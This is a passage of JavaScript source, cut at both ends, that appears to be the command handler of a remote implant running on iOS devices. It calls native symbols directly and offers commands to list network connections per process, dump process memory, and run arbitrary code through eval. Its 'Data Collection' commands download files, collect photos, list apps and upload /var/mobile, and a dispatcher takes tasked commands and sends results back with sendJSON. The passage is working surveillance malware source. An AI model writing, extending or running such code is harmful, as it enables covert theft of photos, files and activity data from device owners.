\")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] Create directory\\n\";\n\tout += \" rm [-rf] Remove file or directory\\n\";\n\tout += \" cp Copy file\\n\";\n\tout += \" mv Move/rename\\n\";\n\tout += \" stat File info\\n\";\n\tout += \" chmod Change permissions (octal)\\n\";\n\tout += \" touch Create / update timestamp\\n\";\n\tout += \" ln [-s] Create link\\n\";\n\tout += \" readlink Read symlink target\\n\";\n\tout += \" find [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] Show first N lines\\n\";\n\tout += \" tail [-n N] Show last N lines\\n\";\n\tout += \" wc [-lwc] Count lines/words/chars\\n\";\n\tout += \" grep [-in] Search in file\\n\";\n\tout += \" du [-sh] Disk usage\\n\";\n\tout += \" file Detect file type\\n\";\n\tout += \" hexdump [-n N] Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", 